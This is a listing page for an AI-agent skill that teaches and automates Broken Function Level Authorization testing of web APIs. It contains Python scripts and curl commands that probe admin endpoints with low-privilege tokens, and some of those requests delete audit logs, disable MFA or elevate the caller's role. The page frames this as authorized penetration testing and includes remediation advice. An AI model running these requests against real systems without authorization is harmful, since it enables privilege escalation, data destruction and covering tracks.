
Exploiting Broken Function Level Authorization
- 177 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Helps with ai & agent building tasks.
About
exploiting-broken-function-level-authorization is a Claude Code skill in the AI & Agent Building category.
- exploiting-broken-function-level-authorization
- AI & Agent Building
- AI-coding skill
Exploiting Broken Function Level Authorization by the numbers
- 177 all-time installs (skills.sh)
- +14 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #3,069 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-broken-function-level-authorizationAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 177 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Helps with ai & agent building tasks.
Files
Exploiting Broken Function Level Authorization
When to Use
- Testing whether regular users can access administrative API endpoints by direct URL access
- Assessing APIs for vertical privilege escalation where users can invoke functions above their role
- Evaluating if API gateways and middleware consistently enforce function-level access controls
- Testing role-based access control (RBAC) implementation across all API endpoints and HTTP methods
- Validating that API documentation does not expose admin endpoint paths that lack authorization
Do not use without written authorization. BFLA testing involves attempting to execute administrative functions with unauthorized credentials.
Prerequisites
- Written authorization specifying target API and administrative functions in scope
- Test accounts at multiple privilege levels: regular user, moderator, admin, super-admin
- API documentation (OpenAPI/Swagger spec) that may list admin endpoints
- Burp Suite Professional for request interception and manipulation
- Python 3.10+ with
requestslibrary - Knowledge of common admin endpoint naming conventions
Workflow
Step 1: Administrative Endpoint Discovery
import requests
import itertools
BASE_URL = "https://target-api.example.com"
regular_user_headers = {"Authorization": "Bearer <regular_user_token>"}
admin_headers = {"Authorization": "Bearer <admin_token>"}
# Common admin endpoint patterns
ADMIN_PATH_PATTERNS = [
"/api/v1/admin",
"/api/v1/admin/users",
"/api/v1/admin/settings",
"/api/v1/admin/config",
"/api/v1/admin/logs",
"/api/v1/admin/dashboard",
"/api/v1/admin/reports",
"/api/v1/admin/billing",
"/api/v1/manage",
"/api/v1/management",
"/api/v1/internal",
"/api/v1/internal/users",
"/api/v1/system",
"/api/v1/system/health",
"/api/v1/console",
"/api/v1/users/admin",
"/api/v1/roles",
"/api/v1/permissions",
"/api/v1/audit",
"/api/v1/audit/logs",
"/api/internal/",
"/admin/api/",
"/management/api/",
"/backoffice/api/",
]
# Administrative function patterns (POST/PUT/DELETE operations)
ADMIN_FUNCTIONS = [
("POST", "/api/v1/users", {"role": "admin"}), # Create user with admin role
("PUT", "/api/v1/users/1/role", {"role": "admin"}), # Change user role
("DELETE", "/api/v1/users/1002", None), # Delete another user
("POST", "/api/v1/settings", {"maintenance": True}), # Modify system settings
("GET", "/api/v1/users?role=admin", None), # List admin users
("POST", "/api/v1/export/users", None), # Export user data
("POST", "/api/v1/users/1002/disable", None), # Disable user account
("POST", "/api/v1/users/1002/reset-password", None), # Force password reset
("PUT", "/api/v1/config/security", {"mfa_required": False}),# Disable security
("DELETE", "/api/v1/audit/logs", None), # Delete audit logs
]
# Phase 1: Discover accessible admin endpoints
print("Phase 1: Admin Endpoint Discovery")
for path in ADMIN_PATH_PATTERNS:
for method in ["GET", "POST", "PUT", "DELETE", "PATCH"]:
try:
resp = requests.request(method, f"{BASE_URL}{path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404, 405):
print(f" [ACCESSIBLE] {method} {path} -> {resp.status_code}")
except requests.exceptions.RequestException:
passStep 2: Role-Based Function Testing
# Define roles and their expected access levels
ROLES = {
"unauthenticated": {},
"regular_user": {"Authorization": "Bearer <regular_token>"},
"moderator": {"Authorization": "Bearer <moderator_token>"},
"admin": {"Authorization": "Bearer <admin_token>"},
}
# Endpoints with expected minimum role requirement
ROLE_MATRIX = [
# (method, endpoint, body, minimum_role)
("GET", "/api/v1/users/me", None, "regular_user"),
("GET", "/api/v1/users", None, "admin"),
("POST", "/api/v1/users", {"email":"x@y.com","name":"X","role":"user"}, "admin"),
("DELETE", "/api/v1/users/1002", None, "admin"),
("GET", "/api/v1/admin/settings", None, "admin"),
("PUT", "/api/v1/admin/settings", {"feature_flag": True}, "admin"),
("GET", "/api/v1/reports/financial", None, "admin"),
("POST", "/api/v1/users/1002/ban", None, "moderator"),
("GET", "/api/v1/audit/logs", None, "admin"),
("POST", "/api/v1/export/database", None, "admin"),
("PUT", "/api/v1/users/1002/role", {"role": "admin"}, "admin"),
]
ROLE_HIERARCHY = ["unauthenticated", "regular_user", "moderator", "admin"]
results = []
for method, endpoint, body, min_role in ROLE_MATRIX:
min_index = ROLE_HIERARCHY.index(min_role)
for role_name, role_headers in ROLES.items():
role_index = ROLE_HIERARCHY.index(role_name)
if role_index < min_index: # This role should NOT have access
resp = requests.request(method, f"{BASE_URL}{endpoint}",
headers=role_headers, json=body, timeout=5)
if resp.status_code not in (401, 403):
results.append({
"endpoint": f"{method} {endpoint}",
"role_used": role_name,
"expected_min_role": min_role,
"status_code": resp.status_code,
"vulnerable": True
})
print(f" [BFLA] {role_name} accessed {method} {endpoint} (requires {min_role}) -> {resp.status_code}")
print(f"\nTotal BFLA findings: {len(results)}")Step 3: HTTP Method Manipulation
# Test if authorization is method-dependent
def test_method_based_bfla(endpoint, authorized_method="GET"):
"""Test if authorization only applies to certain HTTP methods."""
methods = ["GET", "POST", "PUT", "PATCH", "DELETE", "HEAD", "OPTIONS", "TRACE"]
print(f"\nTesting method-based BFLA on {endpoint}:")
for method in methods:
try:
resp = requests.request(method, f"{BASE_URL}{endpoint}",
headers=regular_user_headers,
json={"test": True} if method in ("POST","PUT","PATCH") else None,
timeout=5)
status = "ACCESSIBLE" if resp.status_code not in (401, 403, 405) else "blocked"
if status == "ACCESSIBLE":
print(f" [{status}] {method} {endpoint} -> {resp.status_code}")
except requests.exceptions.RequestException:
pass
# Admin endpoints to test
test_method_based_bfla("/api/v1/admin/users")
test_method_based_bfla("/api/v1/admin/settings")
test_method_based_bfla("/api/v1/users/1002")Step 4: Parameter-Based Privilege Escalation
# Test if adding admin parameters to regular requests enables admin functions
privilege_escalation_tests = [
# Test 1: Add role parameter to self-update
{
"name": "Self role elevation via profile update",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"name": "Test User", "role": "admin"},
},
# Test 2: Add admin flag
{
"name": "Admin flag injection",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"name": "Test User", "is_admin": True, "isAdmin": True, "admin": True},
},
# Test 3: Modify user ID in body to target other users
{
"name": "User ID substitution in body",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"id": 1, "user_id": 1, "role": "admin"},
},
# Test 4: Access admin function via regular endpoint with admin params
{
"name": "Hidden admin parameter",
"method": "GET",
"endpoint": "/api/v1/users?admin=true&debug=true&internal=true",
"body": None,
},
# Test 5: Override tenant/organization
{
"name": "Tenant override",
"method": "GET",
"endpoint": "/api/v1/users",
"body": None,
"extra_headers": {"X-Tenant-Id": "admin-org", "X-Organization": "1"},
},
]
for test in privilege_escalation_tests:
extra = test.get("extra_headers", {})
resp = requests.request(
test["method"],
f"{BASE_URL}{test['endpoint']}",
headers={**regular_user_headers, **extra},
json=test["body"],
timeout=5
)
if resp.status_code in (200, 201, 204):
print(f"[BFLA] {test['name']}: {resp.status_code}")
# Check if role actually changed
if "role" in test.get("body", {}):
me_resp = requests.get(f"{BASE_URL}/api/v1/users/me",
headers=regular_user_headers)
if me_resp.status_code == 200:
current_role = me_resp.json().get("role", "unknown")
print(f" Current role after exploit: {current_role}")Step 5: API Version and Path Traversal for Admin Access
# Test if older or alternative API versions lack authorization
api_versions = ["v1", "v2", "v3", "v0", "beta", "alpha", "internal", "legacy", "staging"]
admin_paths = ["/admin/users", "/admin/settings", "/users", "/config"]
print("Testing API version bypass:")
for version in api_versions:
for path in admin_paths:
full_path = f"/api/{version}{path}"
resp = requests.get(f"{BASE_URL}{full_path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404):
print(f" [BYPASS] {full_path} -> {resp.status_code}")
# Test path-based bypass techniques
bypass_paths = [
"/api/v1/admin/users",
"/api/v1/Admin/users", # Case variation
"/api/v1/ADMIN/users",
"/api/v1/%61dmin/users", # URL encoding
"/api/v1/./admin/users", # Path traversal
"/api/v1/admin/../admin/users", # Double path
"/api/v1/;/admin/users", # Semicolon insertion
"/api/v1/admin/users.json", # Extension addition
"/api/v1/admin/users/", # Trailing slash
]
for path in bypass_paths:
resp = requests.get(f"{BASE_URL}{path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404):
print(f" [PATH BYPASS] {path} -> {resp.status_code}")Key Concepts
| Term | Definition |
|---|---|
| BFLA | Broken Function Level Authorization (OWASP API5:2023) - regular users can invoke administrative or privileged API functions without proper authorization checks |
| Vertical Privilege Escalation | Accessing functions or data restricted to a higher privilege level, such as regular user accessing admin endpoints |
| RBAC | Role-Based Access Control - authorization model where permissions are assigned to roles and roles are assigned to users |
| Function-Level Authorization | Access control checks that verify whether the authenticated user has permission to invoke a specific API function |
| Admin Endpoint | API endpoints intended only for administrative users, typically managing users, settings, audit logs, and system configuration |
| Forced Browsing | Directly accessing URLs that are not linked in the application but exist on the server, bypassing UI-level access restrictions |
Tools & Systems
- Burp Suite Professional: Intercept requests as admin, then replay with regular user token to test function-level authorization
- OWASP ZAP: Forced Browse scanner to discover hidden administrative endpoints and test access control
- Autorize (Burp Extension): Automated BFLA detection by replaying admin requests with regular user credentials
- ffuf: Endpoint discovery tool:
ffuf -u https://api.example.com/api/v1/FUZZ -w admin-endpoints.txt -H "Authorization: Bearer user_token" - Nuclei: Template-based scanner with BFLA detection templates for common frameworks
Common Scenarios
Scenario: SaaS Multi-Tenant API BFLA Assessment
Context: A SaaS platform has user, moderator, and admin roles. The API serves a React frontend that conditionally renders admin features based on the user's role. The backend API should enforce the same restrictions independently.
Approach: 1. Map admin endpoints from the frontend JavaScript bundle: search for /admin/, /manage/, and role-check conditionals 2. Discover 12 admin endpoints including user management, billing, feature flags, and audit logs 3. Test each admin endpoint with regular user token:
GET /api/v1/admin/usersreturns 200 with all user data (BFLA - read)PUT /api/v1/admin/users/1002/roleaccepts role change (BFLA - write)DELETE /api/v1/audit/logsreturns 200 (BFLA - destructive)
4. Test method-based bypass: GET /api/v1/admin/settings returns 403, but PUT /api/v1/admin/settings returns 200 5. Find that the moderator role can access all admin endpoints except DELETE /api/v1/admin/billing 6. Discover /api/v2/admin/users exists without any authorization (shadow API version)
Pitfalls:
- Only testing GET requests on admin endpoints while missing BFLA in POST/PUT/DELETE methods
- Not discovering admin endpoints because they are not linked in the UI (requires endpoint enumeration)
- Assuming RBAC is enforced consistently because one admin endpoint returned 403
- Missing BFLA in internal/undocumented API endpoints not listed in the OpenAPI specification
- Not testing with all available role levels (moderator may have partial admin access)
Output Format
## Finding: Regular Users Can Access Admin User Management API
**ID**: API-BFLA-001
**Severity**: Critical (CVSS 9.8)
**OWASP API**: API5:2023 - Broken Function Level Authorization
**Affected Endpoints**:
- GET /api/v1/admin/users (read all users)
- PUT /api/v1/admin/users/{id}/role (change user roles)
- DELETE /api/v1/audit/logs (delete audit trail)
- PUT /api/v1/admin/settings (modify system config)
**Description**:
The API does not enforce function-level authorization on administrative
endpoints. A regular user can directly call admin API endpoints and
execute administrative functions including user management, role changes,
system configuration, and audit log deletion. The frontend hides admin
features based on role, but the backend API does not enforce the same
restrictions.
**Proof of Concept**:
1. Authenticate as regular user: POST /api/v1/auth/login
2. Call admin endpoint: GET /api/v1/admin/users -> 200 OK (returns all 50,000 users)
3. Elevate own role: PUT /api/v1/admin/users/me/role {"role":"admin"} -> 200 OK
4. Delete audit logs: DELETE /api/v1/audit/logs -> 204 No Content
**Impact**:
Any authenticated user can take full administrative control of the
platform, access all user data, modify roles, change system configuration,
and delete audit logs to cover their tracks.
**Remediation**:
1. Implement RBAC middleware that checks user role before executing any admin function
2. Apply authorization at the route/controller level, not just the frontend
3. Use decorator/annotation-based authorization (e.g., @RequireRole("admin"))
4. Add automated BFLA tests to the CI/CD pipeline that test every endpoint with every role
5. Implement immutable audit logging that admin users cannot delete
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: Broken Function Level Authorization (BFLA)
OWASP API5:2023 — Broken Function Level Authorization
Description
API endpoints expose functions that should be restricted to specific roles. Low-privileged users can invoke admin-level functionality.
Common Patterns
| Pattern | Example |
|---|---|
| Guessable admin paths | /api/admin/users |
| Method switching | POST allowed but PUT bypasses auth |
| Role parameter manipulation | {"role": "admin"} in request |
| Vertical privilege escalation | User accessing admin endpoints |
Testing Methodology
Step 1: Discover Endpoints
# From OpenAPI spec
curl https://api.target.com/swagger.json | jq '.paths | keys'
# From JavaScript source
grep -oP '["'"'"']/api/[^"'"'"']+' app.jsStep 2: Test with Low-Priv Token
curl -H "Authorization: Bearer <low_priv_token>" \
https://api.target.com/api/admin/usersStep 3: Test HTTP Method Switching
# If GET returns 403, try POST/PUT/DELETE
curl -X PUT -H "Authorization: Bearer <low_priv_token>" \
https://api.target.com/api/admin/users/1Python requests Library
Request with Token
headers = {"Authorization": f"Bearer {token}"}
resp = requests.get(url, headers=headers, timeout=10, verify=False)Method Switching
for method in ["GET", "POST", "PUT", "DELETE", "PATCH"]:
resp = requests.request(method, url, headers=headers, timeout=10)
if resp.status_code < 400:
print(f"Accessible via {method}: {resp.status_code}")Common Admin Endpoints to Test
/admin
/api/admin
/api/v1/admin/users
/api/internal
/manage
/api/config
/api/debug
/api/users/all
/api/system/settings
/graphql (with admin mutations)Burp Suite — Authorization Testing
Autorize Extension
1. Install Autorize from BApp Store 2. Set low-privilege cookie/token 3. Browse application as admin 4. Autorize replays requests with low-priv token 5. Compare responses for authorization bypass
Response Analysis
| Indicator | Meaning |
|---|---|
| 200 with data | Full access (vulnerability) |
| 200 empty body | Possible partial bypass |
| 403 Forbidden | Properly restricted |
| 401 Unauthorized | Auth required |
| 405 Method Not Allowed | Method restricted |
#!/usr/bin/env python3
"""Agent for testing Broken Function Level Authorization (BFLA) in APIs."""
import argparse
import json
from datetime import datetime, timezone
try:
import requests
HAS_REQUESTS = True
except ImportError:
HAS_REQUESTS = False
ADMIN_ENDPOINTS = [
"/admin", "/admin/users", "/admin/settings", "/admin/config",
"/api/admin/users", "/api/v1/admin", "/api/internal",
"/manage", "/management", "/dashboard/admin",
"/api/users/all", "/api/config", "/api/debug",
]
HTTP_METHODS = ["GET", "POST", "PUT", "DELETE", "PATCH"]
def test_endpoint_access(base_url, endpoint, token, method="GET"):
"""Test if an endpoint is accessible with given credentials."""
if not HAS_REQUESTS:
return None
url = f"{base_url.rstrip('/')}{endpoint}"
headers = {"Authorization": f"Bearer {token}"} if token else {}
try:
resp = requests.request(method, url, headers=headers, timeout=10, verify=False)
return {
"endpoint": endpoint,
"method": method,
"status_code": resp.status_code,
"response_size": len(resp.content),
"accessible": resp.status_code < 400,
}
except requests.RequestException:
return None
def test_method_switching(base_url, endpoint, token):
"""Test if changing HTTP method bypasses authorization."""
results = []
for method in HTTP_METHODS:
result = test_endpoint_access(base_url, endpoint, token, method)
if result and result["accessible"]:
results.append(result)
return results
def test_privilege_escalation(base_url, low_priv_token, endpoints=None):
"""Test if low-privilege user can access admin endpoints."""
findings = []
test_endpoints = endpoints or ADMIN_ENDPOINTS
for ep in test_endpoints:
result = test_endpoint_access(base_url, ep, low_priv_token)
if result and result["accessible"]:
findings.append({
"vulnerability": "BFLA",
"endpoint": ep,
"status_code": result["status_code"],
"response_size": result["response_size"],
"severity": "HIGH",
})
return findings
def test_idor_via_function(base_url, token, user_id, target_user_id):
"""Test function-level auth by accessing another user's admin functions."""
findings = []
endpoints = [
f"/api/users/{target_user_id}",
f"/api/users/{target_user_id}/settings",
f"/api/users/{target_user_id}/role",
]
for ep in endpoints:
for method in ["GET", "PUT", "DELETE"]:
result = test_endpoint_access(base_url, ep, token, method)
if result and result["accessible"]:
findings.append({
"vulnerability": "BFLA+IDOR",
"endpoint": ep,
"method": method,
"own_user_id": user_id,
"target_user_id": target_user_id,
})
return findings
def main():
parser = argparse.ArgumentParser(
description="Test Broken Function Level Authorization (authorized testing only)"
)
parser.add_argument("--url", required=True, help="Base API URL")
parser.add_argument("--token", help="Low-privilege user JWT token")
parser.add_argument("--endpoints", nargs="*", help="Custom admin endpoints to test")
parser.add_argument("--user-id", help="Current user ID")
parser.add_argument("--target-id", help="Target user ID for IDOR test")
parser.add_argument("--output", "-o", help="Output JSON report")
args = parser.parse_args()
print("[*] BFLA Testing Agent")
print("[!] For authorized security testing only")
report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": args.url, "findings": []}
escalation = test_privilege_escalation(args.url, args.token, args.endpoints)
report["findings"].extend(escalation)
print(f"[*] Privilege escalation findings: {len(escalation)}")
if args.user_id and args.target_id:
idor = test_idor_via_function(args.url, args.token, args.user_id, args.target_id)
report["findings"].extend(idor)
print(f"[*] IDOR findings: {len(idor)}")
report["risk_level"] = "CRITICAL" if report["findings"] else "LOW"
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(f"[*] Report saved to {args.output}")
else:
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()